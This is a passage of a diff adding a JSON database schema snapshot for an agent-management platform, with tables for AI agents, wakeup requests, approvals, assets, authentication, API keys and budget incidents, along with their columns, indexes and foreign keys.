+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
